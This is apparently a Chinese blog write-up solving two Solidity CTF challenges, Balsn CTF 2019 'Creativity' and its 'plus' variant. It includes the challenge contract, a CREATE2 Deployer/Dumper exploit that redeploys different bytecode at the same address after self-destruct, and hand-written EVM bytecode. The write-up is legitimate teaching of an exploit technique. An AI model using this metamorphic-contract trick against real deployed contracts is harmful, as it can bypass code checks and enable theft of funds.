Balsn CTF2019 Creativity & 第五空间 Creativity plus

题目均来源于Pikachu大佬博客。
cpmgln.png

Sissel yyds


给出源代码

pragma solidity ^0.5.10;

contract Creativity {
    event SendFlag(address addr);

    address public target;
    uint randomNumber = 0;

    function check(address _addr) public {
        uint size;
        assembly { size := extcodesize(_addr) }
        require(size > 0 && size <= 4);
        target = _addr;
    }

    function execute() public {
        require(target != address(0));
        target.delegatecall(abi.encodeWithSignature(""));
        selfdestruct(address(0));
    }

    function sendFlag() public payable {
        require(msg.value >= 100000000 ether);
        emit SendFlag(msg.sender);
    }
}

主要考点是create2指令。
我之前已经发过create2指令的 教程了。
题目代码解析如下:

  • 首先调用check,check我们部署的合约字节<4 >0
  • 之后可以execute() 直接delegatecall() 这里一看sendflag()肯定是不行,所以直接触发事件就行。

create2指令可以在同一合约地址上部署不同字节码的合约,所以check前我们可以将其变成一个selfdestruct()指令,
通过查询

个人觉得部署这两个应该都可以。
0x33ff 0x32ff
应该都行(x

自毁之后再部署一个恶意合约即可。

pragma solidity ^0.5.10;
contract hack{
        event SendFlag(address addr);
        constructor() public {
        emit SendFlag(address(0));
    }
}

利用此代码可以部署相同地址上不同字节码的合约

pragma solidity ^0.5.10;

contract Deployer {
    bytes public deployBytecode;
    address public deployedAddr;

    function deploy(bytes memory code) public {
        deployBytecode = code;
        address a;
        // Compile Dumper to get this bytecode
        bytes memory dumperBytecode = hex'';
        assembly {
            a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x8866)
        }
        deployedAddr = a;
    }
}

contract Dumper {
    constructor() public {
        Deployer dp = Deployer(msg.sender);
        bytes memory bytecode = dp.deployBytecode();
        assembly {
            return (add(bytecode, 0x20), mload(bytecode))
        }
    }
}

字节码的话可以通过remix编译的直接复制粘贴。
或者随便部署下,然后去追一下就行。


接下来看第五空间的plus题。
前面一样的步骤,但是最后需要返回值为1的一个check
以及满足合约字节数少于10
因为返回值考虑用return(s,v)
进行返回,那么就一定要把数据存储到内存中。
所以我们考虑

PUSH 0x01
PUSH 0x80
MSOTRE
PUSH 0x20
PUSH 0x80
RETURN
0x600160805260206080f3

也就是 MSTORE(0x80,1):memory[0x80:0x80+0x20]=1
Return(0x80,0x20):memory[0x80:0x80+0x20]

成功打通。 (但是不太懂为啥从0x80开始mstore 不过感觉既然没有限制字节码的话就无所谓部署在内存哪里了。

推荐文章

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注